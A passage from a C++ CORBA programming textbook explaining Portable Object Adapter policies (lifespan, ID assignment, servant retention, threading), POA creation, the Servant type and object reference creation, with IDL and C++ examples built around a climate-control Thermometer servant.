shorter lifetime. Specifically, they found it valuable to use proprietary extensions 
provided by several ORB vendors to create objects whose lifetimes were bounded by that 
of the process or even the object adapter in which they were created. For example, one 
application might send a reference to one of its objects to another application with the 
intent of having the second application eventually call it back. However, if the first 
application exits, it may no longer want the callback information. In that case, it does not 
want the callback to be delivered, and it does not want the ORB to reactivate the callback 
object. 
 
As we explain in Chapter 9, the POA supports two types of CORBA objects: the 
persistent object originally specified by CORBA, and a new shorter-lived object called a 
transient object. The lifetime of a transient object is bounded by the lifetime of the POA 
in which it is created. Thus, transient objects are useful in situations requiring temporary 
objects, such as the callback scenario just described. 
 
One additional benefit of transient objects is that they require less book-keeping by the 
ORB. After you deactivate the POA used to create a transient object, the object cannot be 
reactivated. This means that the ORB does not need to keep track of how to locate the 
object if it is not active when a request is made on it, nor how to activate it within a new 
server process. This in turn typically means less overhead in administering the CORBA 
application itself. 
 
A single POA must support either persistent objects or transient objects; it cannot support 
both. If an object is created using a POA that supports persistent objects, that object will 
be persistent; otherwise, it will be transient. To support both transient and persistent 
objects in a single server, the server must have at least two POAs: one for each kind of 
object. One reason for this, as we explain in Chapter 14, is that persistent objects 
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require more support from the ORB infra-structure for location and activation than 
transient objects. Another reason is that without this distinction, many POA operations 
would have to come in two flavors—one for persistent objects and one for transient 
objects—and that would serve only to make the POA interface confusing. 
 
Object life span is controlled via the LifespanPolicy: 
       
module PortableServer { 
    enum LifespanPolicyValue { 
         TRANSIENT, PERSISTENT 
    }; 
    interface LifespanPolicy : CORBA::Policy { 
        readonly attribute LifespanPolicyValue value; 
     }; 
     // ... 
}; 
 
      
For the Root POA, the standard life span policy value is TRANSIENT. This implies that 
any application that needs to support persistent objects must create at least one other POA 
with the PERSISTENT life span policy. If you do not specify a value for the 
LifespanPolicy when you create a POA, it defaults to a value of TRANSIENT. 

11.4.2 Object Identifiers 

A POA identifies each object via its object identifier. Object identifiers are specified 
using the ObjectId type, which is defined in the PortableServer module as a 
sequence of octet. 
 
Because it is a sequence of octet, an ObjectId allows virtually any type of data to be 
used to identify an object. For example, an application that stores the state of each of its 
objects in a database might use database keys as identifiers. Another application that 
handles employee records might use some form of employee identifiers to identify its 
objects. Yet another application might choose to identify its objects using only numbers. 
 
As shown in Figure 11.3, the object identifier is normally stored within the object key 
portion of the object reference. When we created this object reference, we used the string 
MyObject as the object identifier. Using strings for object identifiers is common, but 
because ObjectId is a sequence of octet, almost any data can be used. When a client 
invokes a request using this object reference, the client ORB uses the object reference to 
determine the communication endpoints where the target object can be found, and it 
sends the request there. The client ORB sends the object key from the object reference 
with the request to identify the target object. The server ORB uses this object key, which 
it previously created as part of creating the object reference for the target object, to 
determine which POA in the server hosts the target object. It then redirects the request, 
including the object key, to that POA. Finally, the POA extracts the ObjectId from the 
object key, looks up the servant incarnating the target object, and dispatches the request 
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to it. See Chapter 14 for more details concerning the binding and request delivery 
process. 

Figure 11.3 Object identifier portion of an object reference. 

 
An application can either choose to explicitly supply its own object identifiers or have the 
POA create object identifiers for it. Typically, an application that uses persistent objects 
supplies its own identifiers because it uses them to keep track of where it stores the 
persistent state of the object. Applications that use transient objects, however, usually let 
the POA create identifiers for them. 
 
Keep in mind that the main difference between object references and object identifiers is 
that an object identifier is meaningless outside the scope of the POA in which it names an 
object. As shown in Figure 11.2, clients use object references, and not object 
identifiers, to invoke operations. Because object references are opaque, clients cannot 
extract the object identifier from an object reference, nor can they create an object 
reference by knowing only the object identifier of the target object. 
 
Note that within the scope of a single POA, all object identifiers must be unique. In other 
words, two objects created by the same POA cannot have the same ObjectId value. 
However, the same ObjectId can be used for objects created via different POAs. Each 
POA enforces the uniqueness of object identifiers. If you use a POA with the 
SYSTEM_ID policy value, the POA automatically generates unique IDs. If you use a 
POA with the USER_ID policy value, it prevents duplicate IDs by raising an exception. 
Object identification is controlled by the IdAssignmentPolicy: 
       
module PortableServer { 
    enum IdAssignmentPolicyValue { 
        USER_ID, SYSTEM_ID 
    }; 
    interface IdAssignmentPolicy : CORBA::Policy { 
        readonly attribute IdAssignmentPolicyValue value; 
    }; 
    // ... 
}; 
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For the Root POA, the standard object identification policy value is SYSTEM_ID. The 
Root POA therefore guarantees that it will generate identifiers that are unique for each 
CORBA object that it creates. SYSTEM_ID is also the default value used for POAs you 
create without explicitly specifying a value for this policy. 

11.4.3 Mapping Objects to Servants 

An application that has only a few transient CORBA objects may want to create separate 
servants for each of those objects and register them with the POA before it starts listening 
for requests. This approach is especially useful for transient objects whose state is 
normally stored directly within each servant. By using distinct servants for each object, 
you can maintain the state of each transient object separately. 
 
At the other end of the spectrum, applications that have many persistent CORBA objects 
may want to use only one servant to incarnate all of them. For example, an application 
that provides access to a large database can first create, without servant incarnation, a 
separate CORBA object representing each database entry and then advertise the object 
references for the new objects in a Naming or Trading Service. Then, rather than create a 
servant for each database entry object every time it starts up, the database access 
application can use a single servant to handle all requests for all database entry objects. 
Because the state of each object is kept in the database, the servant has no need to keep 
state of its own. 
 
The separation of servant and CORBA object life cycles (see Figure 11.1) provided by 
the POA is necessary for scalability. If a servant could incarnate only a single object, 
server applications hosting many thousands of objects would be difficult to execute 
because of the required memory resources. Furthermore, if a CORBA object lived only as 
long as the servant that incarnated it, support for persistent objects, which outlive any 
single server process, would not be possible. 
 
A POA either allows a single servant to incarnate multiple CORBA objects, or it restricts 
servants to incarnating only a single object. The mapping of objects to servants is 
controlled by the IdUniquenessPolicy: 
       
module PortableServer { 
    enum IdUniquenessPolicyValue { 
        UNIQUE_ID, MULTIPLE_ID 
    }; 
    interface IdUniquenessPolicy : CORBA::Policy { 
        readonly attribute IdUniquenessPolicyValue value; 
    }; 
    // ... 
}; 
 
      

Figure 11.4 shows how object identifiers are mapped to servants in a POA created 
with the UNIQUE_ID policy value. When dispatching a request, the POA extracts the 
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ObjectId, which is normally embedded in the object reference for the target object, 
and uses it to look up the servant for the target object in its Active Object Map. Each 
entry in the Active Object Map consists of an association between an ObjectId and a 
pointer to a servant. Each POA that retains ObjectId-to-servant associations has its 
own Active Object Map, as we describe in Section 11.4.6. 

Figure 11.4 Mapping object IDs to servants in a UNIQUE_ID POA. 

 
With UNIQUE_ID, the POA enforces the rule that each object identifier must map to a 
different servant. In a MULTIPLE_ID POA, however, multiple object identifiers can 
map to a single servant. Figure 11.5 shows multiple Active Object Map entries 
pointing to the same servant. 

Figure 11.5 Mapping object IDs to servants in a MULTIPLE_ID POA. 

 
For the Root POA, the standard object identifier uniqueness policy value is UNIQUE_ID. 
In other words, the Root POA requires a separate servant to incarnate each object. This is 
also the default value used for POAs if you create one without explicitly specifying a 
value for this policy. 

11.4.4 Implicit Activation 
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When creating a POA, an application can either specify that the new POA allows 
CORBA objects to be created and activated implicitly or specify that it allows only 
explicit CORBA object creation and servant registration. Implicit activation is usually 
performed through a shortcut function supplied by a language mapping, such as the 
_this function provided by C++ skeleton classes. The CCS server we show in Section 
10.11.2 uses implicit activation to create its CCS::Controller object. 
Implicit activation is controlled via the ImplicitActivationPolicy: 
       
module PortableServer { 
    enum ImplicitActivationPolicyValue { 
        IMPLICIT_ACTIVATION, NO_IMPLICIT_ACTIVATION 
    }; 
    interface ImplicitActivationPolicy : CORBA::Policy { 
        readonly attribute ImplicitActivationPolicyValue value; 
    }; 
    // ... 
}; 
 
      
The main reason for controlling whether or not implicit activation is allowed is to prevent 
the accidental creation of CORBA objects. For example, in Section 9.5 we show how 
easily the _this function can be used to implicitly create a CORBA object in the Root 
POA and incarnate it with a servant. Because of the potential for accidental object 
creation, we suggest that you do not use the IMPLICIT_ACTIVATION value together 
with the PERSISTENT policy value in the same POA. Implicitly creating transient 
objects has few ill consequences because they will be automatically cleaned up by the 
time your server process exits. However, it is best to avoid implicitly creating persistent 
objects unless you take steps to ensure that they will eventually be properly destroyed. 
 
For the Root POA, the standard implicit activation policy value is 
IMPLICIT_ACTIVATION. This is the activation policy we use to introduce the _this 
function in the example in Section 9.5. The ImplicitActivationPolicy 
defaults to a value of NO_IMPLICIT_ACTIVATION if you do not specify a value when 
you create a POA. 

11.4.5 Matching Requests to Servants 

Controlling the associations between objects and servants is a key aspect of server 
application scalability. Depending on the number of objects an application contains, it 
might want to use a separate servant for each one, use a single servant for all of them, 
dynamically supply a servant for each request, or use a combination of these techniques 
to best manage its resources. 
 
For example, a CORBA application monitoring a sensor might contain only a single 
object representing the sensor itself. Such an application will most likely explicitly 
register a servant for the object, thus explicitly activating and incarnating that object. 
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Alternatively, an application containing many thousands of objects is unlikely to want to 
create and register a separate servant for each of its objects. Instead, it may want to 
incarnate only those objects that actually receive requests. It does this by registering a 
servant manager with the POA. Servant managers are local objects that are up-called by 
a POA if it receives an invocation on an object that has no associated servant. Depending 
upon the POA's value for the IdUniquenessPolicy, the servant manager can either 
provide the POA with a newly created servant or reuse an existing one. Either way, it 
returns the servant as the result of the up-call, which the POA uses to complete the 
request invocation. After the invocation completes, the POA either retains the association 
of the servant and the CORBA object in its Active Object Map or throws the association 
away, meaning that the next invocation on the object will again require the services of the 
servant manager. 
 
Still another alternative is for applications to supply a default servant to a POA. A default 
servant incarnates all CORBA objects for a POA, avoiding the need to create a separate 
servant for each object as well as avoiding the invocation overhead associated with 
servant manager up-calls. Default servants can be useful when all CORBA objects in a 
given POA support the same IDL interface type. 
 
The matching of requests to servants is controlled via the 
RequestProcessingPolicy: 
       
module PortableServer { 
    enum RequestProcessingPolicyValue { 
        USE_ACTIVE_OBJECT_MAP_ONLY, 
        USE_DEFAULT_SERVANT, 
        USE_SERVANT_MANAGER 
    }; 
    interface RequestProcessingPolicy : CORBA::Policy { 
        readonly attribute RequestProcessingPolicyValue value; 
     }; 
}; 
 
      
For the Root POA, the standard request processing policy value is 
USE_ACTIVE_OBJECT_MAP_ONLY. This is also the default value used for POAs you 
create without explicitly specifying a value for this policy. 

11.4.6 ObjectId-to-Servant Associations 

Except for default servants, a POA either stores associations of objects to servants in its 
Active Object Map or counts on the application to supply that association each time it 
attempts to dispatch a request. When a request arrives, a POA that retains its object-to-
servant associations can simply use the ObjectId of the target object as an index into 
its Active Object Map to look up the servant that should process the request. (We 
illustrate this lookup process in Figure 11.4.) If, however, a POA does not retain 
object-to-servant associations, it must rely on the application to supply them instead. It 
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does this either by calling out to an application-supplied servant manager object when it 
needs a servant or by relying on the application to supply a default servant. 
 
Controlling the retention of servants is an important aspect of server application memory 
usage. For example, an application that has many thousands of objects will likely avoid 
retaining object-to-servant associations in the POA's Active Object Map because of the 
amount of memory all those associations would require. Instead, the application may 
register a servant manager object to supply object-to-servant associations to the POA 
when it requests them, thus buying decreased memory consumption at the cost of a slight 
increase in request processing overhead due to servant manager invocation. 
Servant retention is controlled by the ServantRetentionPolicy: 
       
module PortableServer { 
    enum ServantRetentionPolicyValue { 
        RETAIN, NON_RETAIN 
    }; 
    interface ServantRetentionPolicy : CORBA::Policy { 
        readonly attribute ServantRetentionPolicyValue value; 
    }; 
    // ... 
}; 
 
      
For the Root POA, the standard servant retention policy value is RETAIN. This is also 
the default value used for POAs you create without explicitly specifying a value for this 
policy. 

11.4.7 Allocation of Requests to Threads 

It is common for server applications to use multiple threads to service multiple requests 
concurrently. An application can service each new request in a separate newly created 
thread, or it can handle all requests for a given object in a separate thread. Or it can 
employ a fixed-size pool of threads to handle all requests, queuing requests if all threads 
in the pool are busy. The appropriate threading strategy for an application depends on a 
number of factors, including the number of objects hosted by the application, the 
expected request rate, and the multi-threading support provided by the underlying 
operating system. 
 
An application can create a POA with one of two different threading models. The ORB-
controlled model allows the underlying ORB implementation to choose an appropriate 
multithreading model, whereas the single-thread model guarantees that all requests for all 
objects in that POA will be dispatched sequentially. 
 
The ORB-controlled model allows multiple concurrent requests to be processed by 
multiple threads. Applications using POAs created for this model must be implemented 
to properly handle reentrant invocations and concurrency because servants registered 
with such a POA may be required to process multiple CORBA requests simultaneously. 
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Servants implemented for single-thread model POAs need not be thread-aware. You can 
use the sequential request dispatch provided by a single-threaded POA to advantage when 
integrating existing code not designed for use in a multi-threaded environment. 
 
One key aspect of the single-threaded POA threading model is that it is independent of 
whether the application uses multiple threads. For example, a multi-threaded application 
may contain multiple POAs, some of which have the ORB-controlled thread policy and 
others that are single-threaded. Regardless of whether the application uses multiple 
threads, all of its single-threaded POAs deliver their requests sequentially. This means 
that the application as a whole might be multithreaded, with each single-threaded POA 
running in its own thread. Therefore, depending on your ORB implementation, you may 
have to take concurrency into account when sharing servants between POAs even when 
each POA is single-threaded. 
 
Although these POA multithreading models are a vast improvement over the complete 
lack of multithreading support of CORBA before the introduction of the POA (in 
CORBA version 2.2), they could be made even more flexible. Specifically, rather than 
just supply the ORB-controlled model, the POA could provide for finer-grained control 
over multithreading policies by allowing applications to use policies to specify precise 
models such as a thread pool model, a thread-per-request model, or a thread-per-object 
model. Future standard extensions to the POA specification may indeed supply 
applications with this much-needed flexibility. 
 
The allocation of requests to threads is controlled by the ThreadPolicy: 
       
module PortableServer { 
    enum ThreadPolicyValue { 
        ORB_CTRL_MODEL, SINGLE_THREAD_MODEL 
    }; 
    interface ThreadPolicy : CORBA::Policy { 
        readonly attribute ThreadPolicyValue value; 
    }; 
    // ... 
}; 
 
      
For the Root POA, the standard threading policy value is ORB_CTRL_MODEL. This is 
also the default value used for POAs you create without explicitly specifying a value for 
this policy. 

11.4.8 Policy Factory Operations 

You create policies by invoking policy factory operations on a POA. The POA interface 
supplies a separate factory operation for each of the policy types: 
       
module PortableServer { 
    interface POA { 
        LifespanPolicy 
            create_lifespan_policy( 
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                  in LifespanPolicyValue                         value 
            ); 
    
        IdAssignmentPolicy 
            create_id_assignment_policy( 
                  in IdAssignmentPolicyValue                     value 
            ); 
    
        IdUniquenessPolicy 
            create_id_uniqueness_policy( 
                  in IdUniquenessPolicyValue                     value 
); 
         
        ImplicitActivationPolicy 
            create_implicit_activation_policy( 
                  in ImplicitActivationPolicyValue value 
            ); 
         
        RequestProcessingPolicy 
            create_request_processing_policy( 
                  in RequestProcessingPolicyValue                value 
            ); 
         
        ServantRetentionPolicy 
            create_servant_retention_policy( 
                  in ServantRetentionPolicyValue                 value 
            ); 
         
        ThreadPolicy 
            create_thread_policy( 
                  in ThreadPolicyValue                           value 
            ); 
}; 
}; 
 
      
Each factory operation works in the same way: you pass the desired value for the new 
policy object, and the operation returns the object's reference. Eventually, you must call 
the destroy operation (inherited from the base CORBA::Policy interface) on the 
returned object to clean it up. Typically, you create the necessary policy objects and pass 
them in a PolicyList to the POA creation function. The POA creation operation 
copies the policies, and this means that you can invoke destroy on your copies 
immediately after the POA creation operation returns. 

11.5 POA Creation 

To put POA policies into effect, you apply them to POAs at creation time. You create a 
POA by invoking the create_POA operation on another POA. Because all server 
applications have a Root POA, its create_POA operation serves as the starting point 
for creating other POAs. 
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A POA created using another POA becomes a child POA of the creating POA. Note, 
however, that this has no effect on the policies of the child POA. Policies are not 
inherited from parent POAs. Instead, default values are applied if no policy values are 
passed to the create_POA operation. 
The signature of the create_POA operation is as follows: 
      
module PortableServer { 
    interface POAManager; 
 
    exception AdapterAlreadyExists {}; 
    exception InvalidPolicy { 
        unsigned short index; 
    }; 
 
    interface POA { 
        POA create_POA( 
                in string                        adapter_name, 
                in POAManager                    manager, 
                in CORBA::PolicyList policies 
            ) raises(AdapterAlreadyExists, InvalidPolicy); 
        // ... 
     }; 
}; 
 
     
The important points to note about these IDL definitions are as follows: 
As we describe in Section 9.2, a POAManager allows applications to control the flow 
of requests into a POA. The POAManager is forward-declared in this example only to 
keep our focus on create_POA. It is described fully in Section 11.10. 
The create_POA operation takes three arguments. The first one is the name of the 
POA being created. The second one is a reference to the POAManager that controls the 
request flow for the POA being created. If the POAManager argument is nil, a new 
POAManager will be created for the new POA. The final argument is the list of policies 
to apply to the newly created POA. 
The create_POA operation can raise two exceptions. It raises the AdapterAl-
readyExists exception if create_POA is given the name of a POA that was already 
used for another child POA of the same parent POA. If the policy list contains policies 
that are unknown or inconsistent, the create_POA operation raises the 
InvalidPolicy exception, setting the index member of the exception to the index of 
the offending policy in the PolicyList sequence. 
We create a child POA of the Root POA this way: 
      
// Initialize the ORB. 
CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
// Get a reference to the Root POA. 
CORBA::Object_var obj = 
    orb->resolve_initial_references("RootPOA"); 
PortableServer::POA_var root_poa = 
    PortableServer::POA::_narrow(obj); 
assert(!CORBA::is_nil(root_poa)); 
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// Create empty PolicyList for child POA. 
CORBA::PolicyList policy_list; 
 
// Invoke create_POA to create the child. 
PortableServer::POA_var child_poa = 
    root_poa->create_POA("child", 
PortableServer::POAManager::_nil(), 
policy_list); 
 
     
The first part of this example shows the normal sequence of invocations we make to 
initialize the ORB and get a reference to the Root POA. We then create a 
CORBA::PolicyList sequence, which, like all sequences, is empty when you se the 
default constructor. Finally, we invoke create_POA on the Root POA, passing the 
string "child" for the name of the new POA, a nil POAManager reference, and our 
empty policy list. Assuming that a POA named "child" does not already exist as a child 
of the Root POA, create_POA returns an object reference to our new POA. 
Naturally, create_POA can be invoked on any POA. Calling it on a child POA of the 
Root POA, for example, produces a grandchild of the Root POA. In the following 
example we create a hierarchy of POAs: 
      
// Set up a nil POAManager reference 
// to pass to each create_POA call. 
PortableServer::POAManager_var nil_mgr = 
    PortableServer::POAManager::_nil(); 
 
// Create POA A, child of the Root POA. 
PortableServer::POA_var poa_A = 
    root_poa->create_POA("A", nil_mgr, policy_list); 
 
// Create POA B, child of the Root POA. 
PortableServer::POA_var poa_B = 
    root_poa->create_POA("B", nil_mgr, policy_list); 
 
// Create POA C, child of the Root POA. 
PortableServer::POA_var poa_C = 
    root_poa->create_POA("C", nil_mgr, policy_list); 
 
// Create POA D, child of POA B. 
PortableServer::POA_var poa_D = 
   poa_B->create_POA("D", nil_mgr, policy_list); 
 
// Create POA E, child of POA D. 
PortableServer::POA_var poa_E = 
   poa_D->create_POA("E", nil_mgr, policy_list); 
 
     
We first create a nil POAManager reference to pass to each create_POA invocation, 
and we assume we are passing the same empty policy list we created in the preceding 
example. We then create POAs A, B, and C as children of the Root POA. After that we 
create POA D as a child of POA B, and finally we create POA E as a child of POA D. 
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This sequence of create_POA invocations results in the POA hierarchy shown in 
Figure 11.6. 

Figure 11.6 An example POA hierarchy. 

 
Our example shows the mechanics of creating POAs, but it is somewhat unrealistic in 
that it does not vary the policies of each POA. One of the main reasons that applications 
create and use multiple POAs is to assign different policies to each one. Because the Root 
POA supports only transient objects, a common policy to apply to a new POA is to give it 
the PERSISTENT life span policy: 
      
// Create a PERSISTENT LifespanPolicy object. 
PortableServer::LifespanPolicy_var lifespan = 
    root_poa->create_lifespan_policy(PortableServer::PERSISTENT); 
 
// Create PolicyList. 
CORBA::PolicyList policy_list; 
policy_list.length(1); 
policy_list[0] = 
    PortableServer::LifespanPolicy::_duplicate(lifespan); 
 
// Create the child POA. 
PortableServer::POA_var child = 
    root_poa->create_POA("child", nil_mgr, policy_list); 
 
// Destroy our LifespanPolicy object. 
lifespan->destroy(); 
 
     
We first use the create_lifespan_policy operation of the Root POA to create a 
LifespanPolicy object, passing PERSISTENT as the value for the policy. 
Remember, any POA can serve as a factory for policy objects, and the created policy 
objects are in no way tied to the POA that creates them. Next, we create a single-element 
policy list and copy our reference to our LifespanPolicy object into it. We then 
invoke create_POA on the Root POA, passing to it the name of the new POA, our nil 
POAManager reference from our earlier example, and our policy list containing a 
reference to our PERSISTENT life span policy object. Finally, we invoke destroy on 
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our life span policy object because it is no longer needed; the create_POA operation 
guarantees that it will make a copy of the objects in the policy list if it needs to. A newly 
created POA will therefore not hold references to the policy objects passed into 
create_POA but will instead refer to the copies. 
 
Creating POAs with different policies and with combinations of policies is also possible. 
In fact, using some policies automatically limits your choices of the remaining policies 
because some of them imply the use of others and some of them are mutually exclusive. 
However, before we can describe some of the useful combinations of policies that can be 
passed to create_POA, we must fully explain an important feature of the 
PortableServer module: the Servant IDL type. 

11.6 Servant IDL Type 

Objects are incarnated by servants. In Section 9.2 we describe servants as 
programming language entities that provide bodies, or implementations, for CORBA 
objects. In C++, a servant is an instance of a C++ class type. 
 
Because the POA is fully specified in IDL, however, there must be a way to describe 
servants in IDL as well. Unfortunately, this requirement is at odds with the fact that 
servants are programming language entities. How can language-specific servants be 
described in IDL, which itself is independent of any programming language? 
 
To solve this dilemma, the native keyword was added to IDL for version 2.2 of the 
CORBA specification. The purpose of the native keyword is to allow an IDL identifier 
to be declared as a type that has no IDL definition but is instead defined separately by 
each language mapping. Because each native type requires a separate definition in 
each IDL language mapping, only the OMG is allowed to add native declarations to IDL. 
Application developers who attempt to declare their own native types will likely 
discover that their IDL compilers refuse to compile their IDL. 
The definition of the IDL Servant type is as follows: 
      
module PortableServer { 
    native Servant; 
}; 
 
     
In C++, the Servant type maps to a pointer to the ServantBase class: 
      
namespace PortableServer { 
    class ServantBase { 
    public: 
        virtual          ~ServantBase(); 
 
        virtual POA_ptr _default_POA(); 
 
        virtual CORBA::InterfaceDef_ptr 
                        _get_interface() 



IT-SC book: Advanced CORBA® Programming with C++ 

 398 

                            throw(CORBA::SystemException); 
 
        virtual CORBA::Boolean 
                        _is_a( 
                            const char * logical_type_id 
                        ) throw(CORBA::SystemException); 
 
        virtual CORBA::Boolean 
                        _non_existent() 
                            throw(CORBA::SystemException); 
 
        virtual void    _add_ref(); 
        virtual void    _remove_ref(); 
 
    protected: 
        ServantBase(); 
        ServantBase(const ServantBase & base); 
        ServantBase & operator=(const ServantBase & base); 
    }; 
     
    typedef ServantBase * Servant; 
     
    // ... 
} 
 
     

As we mention in Section 9.3, ServantBase serves as the base class for all 
skeletons and thus for all application servant classes as well. To ensure proper destruction 
of these derived classes, ServantBase has a public virtual destructor. All constructors 
provided by the ServantBase class are protected because it is intended as an abstract 
base class. ServantBase makes both the copy constructor and the default assignment 
operator available in case derived servant classes want to support copying. 
 
ServantBase provides the _default_POA function. The ServantBase 
implementation of the _default_POA function returns a reference to the Root POA. 
The _default_POA function provides the POA reference when a servant's _this 
function is invoked to implicitly create and activate a new transient CORBA object. 
Because it is virtual, the _default_POA function can be overridden by derived servant 
classes to return a reference to a different POA. This allows the _this function to be 
used to create and activate transient objects in a POA other than the Root POA. 
 
The _get_interface, _is_a, and _non_existent functions provide default 
implementations of these IDL operations inherited by all objects from 
CORBA::Object. By default, _get_interface and _is_a are overridden by each 
static skeleton type and are implemented in the generated code to return a result based on 
the skeleton's most-derived interface type. The default implementation of 
_non_existent returns false. Because these functions are virtual, you can override 
the default implementations in your derived servant classes if necessary. For example, 
you must override _non_existent to return the correct response for the target object 
whenever your servant incarnates multiple CORBA objects. 
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The _add_ref and _remove_ref functions allow concrete servant classes to perform 
reference counting. Their default implementations do nothing, but they are virtual so that 
application developers can override them if they need to provide their own reference 
counting solutions. The PortableServer namespace also provides a thread-safe 
reference counting mix-in class called RefCountServantBase. Applications can 
derive their servants from this mix-in class to obtain reference-counting implementations 
of _add_ref and _remove_ref. We explain these functions in more detail in our 
coverage of servant memory management issues in Section 11.7.5. 

11.6.1 CCS::Thermometer Servant 

PortableServer::ServantBase and all skeleton classes derived from it are 
abstract base classes, so to create servants, applications must provide concrete servant 
classes that can be instantiated. The following example shows an application servant 
class for the CCS::Thermometer interface; it is similar to the one we show in Section 
10.11. The only difference is that the constructor takes only the asset number of the 
device that the servant represents. Previously, the constructor also required a location 
string, which it used to directly program the location of the device. In this chapter, we 
instead make the Controller singleton object responsible for initializing all devices. 
       
#include "CCSS.hh" 
 
class Controller_impl; 
 
class Thermometer_impl : public virtual POA_CCS::Thermometer { 
public: 
    Thermometer_impl(CCS::AssetType anum); 
    virtual ~Thermometer_impl(); 
 
    // Functions for the Thermometer attributes. 
    virtual CCS::ModelType 
                    model() throw(CORBA::SystemException); 
 
    virtual CCS::AssetType 
                    asset_num() throw(CORBA::SystemException); 
 
    virtual CCS::TempType 
                    temperature() throw(CORBA::SystemException); 
 
    virtual CCS::LocType 
                    location() throw(CORBA::SystemException); 
 
    virtual void    location(const char * loc) 
                        throw(CORBA::SystemException) ; 
 
    static Controller_impl * m_ctrl;        // My controller 
protected: 
    const CCS::AssetType m_anum;            // My asset number 
 
    // Helper functions that read data from the device. 
    CCS::ModelType get_model(); 
    CCS::TempType  get_temp(); 
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    CCS::LocType   get_loc(); 
    void           set_loc(const char * new_loc); 
 
private: 
    // copy not supported for this class 
    Thermometer_impl(const Thermometer_impl & therm); 
    void operator=(const Thermometer_impl & therm); 
}; 
 
      

Just as we show in Section 10.4, our servant class, Thermometer_impl, derives 
from the POA_CCS::Thermometer skeleton class, which in turn derives from 
ServantBase. It overrides all the pure virtual functions it inherits from the 
POA_CCS::Thermometer skeleton, and it defines private helper functions that can be 
used to get and set state from the actual target device via the ICP network described in 
Section 10.3. It holds one data member: the asset number of the device it represents. 
The only differences in implementation between the Thermometer_impl class shown 
in Section 10.5 and the one shown here are in the constructor and destructor. 
       
Thermometer_impl:: 
Thermometer_impl(CCS::AssetType anum) : m_anum(anum) 
{ 
     m_ctrl->add_impl(anum);     // Add self to map. 
} 
 
Thermometer_impl:: 
~Thermometer_impl() 
{ 
     m_ctrl->remove_impl(m_anum); 
} 
 
      
Rather than make our Thermometer_impl constructor responsible for putting its 
device on-line and making the destructor take it off-line, we have moved those 
responsibilities to our Controller. As we show in Section 11.7.3, this 
modification allows us to create our servants on demand instead of creating them all up 
front. 
In the next section we show how the definition of the Servant IDL type and its 
mapping to a ServantBase * allow instances of application-specific C++ servant 
classes, such as our Thermometer_impl class, to be used to activate and incarnate 
CORBA objects. 

11.7 Object Creation and Activation 

Naturally, a CORBA object must exist before it can have its operations invoked. After it 
is created, the object must be activated before it can handle any request invocations. The 
POA provides several options for creating objects and activating them by servant 
registration. 
An application can create objects without creating any servants. 
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An application can either implicitly or explicitly register a servant to incarnate an object 
and have the POA retain knowledge of the association between that object and its servant. 
An application can supply one of two types of servant manager objects that can 
dynamically supply servants on a per-request basis. The application can also choose 
either to have the POA retain the object-to-servant associations as they are supplied by 
the servant manager or to require that the servant manager be invoked separately for 
every request to obtain a servant. 
 
An application can provide a default servant that will be used if the target object is not 
currently incarnated by any other servant. 
 
We describe each of these options more fully in the sections that follow. Section 
11.7.1 describes object creation, Section 11.7.2 explains explicit object activation, 
Section 11.7.3 details servant managers, and Section 11.7.4 explains default 
servants. 

11.7.1 Object Creation 

The POA provides two operations for creating CORBA objects without creating servants. 
       
module PortableServer { 
    typedef sequence<octet> ObjectId; 
 
    interface POA { 
        Object create_reference( 
                    in CORBA::RepositoryId intf 
               ) raises(WrongPolicy); 
 
        Object create_reference_with_id( 
                    in ObjectId           oid, 
                    in CORBA::RepositoryId intf 
               ) raises(WrongPolicy); 
 
        // ... 
        }; 
}; 
 
      
Both create_reference and create_reference_with_id require a 
CORBA::RepositoryId argument to identify the most derived IDL interface that the 
new object will support. If the most derived interface has any base interfaces, the new 
object will also support them. The results of passing a repository ID that does not identify 
the most derived interface of the object are undefined and therefore non-portable. 
 
The create_reference operation requires the POA to have an 
IdAssignmentPolicy value of SYSTEM_ID, allowing the POA to generate an 
ObjectId for the new object. If the POA does not have this policy value, 
create_reference raises the WrongPolicy exception. 
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When using create_reference_with_id, on the other hand, the application 
supplies the ObjectId. This ObjectId signifies the identity of the object in the 
application domain. For example, it might consist of a pathname to a file the application 
uses to persistently store the object's state, or it could be composed of a database key or 
an account number. Because the ObjectId type is a sequence of octet, it can contain 
almost anything you find meaningful to identify your objects. The ObjectId instances 
for the following examples consist of the asset number of the device represented by the 
CORBA object. 
 
Calling create_reference_with_id multiple times with the same ObjectId 
and the same repository ID is legal, but the results may vary among POA 
implementations. Some POAs may return the same object reference each time, whereas 
others might return distinct object references for each 
create_reference_with_id invocation. Despite these possible differences, keep 
in mind that the POA dispatches requests to your servants based solely on ObjectId. 
This means that the POA will dispatch requests to the right servant whether it returns the 
same or returns distinct object references when you call 
create_reference_with_id multiple times with the same arguments. It might 
seem odd that there is nothing to prevent you from passing an entirely different repository 
ID on subsequent invocations of create_reference_with_id with the same 
ObjectId value. The POA will not raise an exception if you do so because the cost of 
having the POA detect this irregular usage would be extremely high, essentially requiring 
each POA to somehow remember all object references it ever created. It is therefore up to 
you to guarantee this consistency for your applications. 
 
If the POA has the SYSTEM_ID policy value, the ObjectId argument you pass to 
create_reference_with_id must be one that was previously generated by that 
POA; otherwise, the BAD_PARAM system exception may be (but need not be) raised. 
Because of the potential for error and because ORBs are not required to detect the error, 
we recommend that portable applications avoid invoking 
create_reference_with_id on POAs with the SYSTEM_ID policy value. 
 
A perfect use of the create_reference_with_id is to implement our 
CCS::Controller::list operation. This operation returns a sequence containing 
object references for all our Thermometer devices (including Thermostat devices, 
which are also Thermometer devices). Following are the relevant parts of the 
Controller interface. 
       
#pragma "acme.com" 
 
module CCS { 
    interface Controller { 
        typedef sequence<Thermometer> ThermometerSeq; 
 
        ThermometerSeq list(); 
 
        // ... 
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    }; 
}; 
 
      
If we assume that our climate control system runs a small office building, it is likely that 
it controls a few hundred to a thousand devices. This means that we would waste time 
and application resources if we implemented list by creating a servant to represent 
each of these devices just to get an object reference from it. Instead, we use 
create_reference_with_id to create the necessary object references without 
creating servants. 
       
CCS::Controller::ThermometerSeq* 
Controller_impl::list() throw(CORBA::SystemException) 
{ 
    // Create our return value. 
    CCS::Controller::ThermometerSeq_var return_seq = 
         new CCS::Controller::ThermometerSeq(m_assets.size()); 
    return_seq->length(m_assets.size()); 
 
    // Iterate over our STL set of device asset numbers. 
    // The m_assets variable is our set data member. 
    CORBA::ULong index = 0; 
    AssetSet::iterator iter; 
    for (iter = m_assets.begin(); iter != m_assets.end(); iter++) 
    { 
        CCS::AssetType anum = *iter; 
 
        // Convert asset number to a string. 
        ostrstream ostr; 
        ostr < anum < ends; 
        char * str = ostr.str(); 
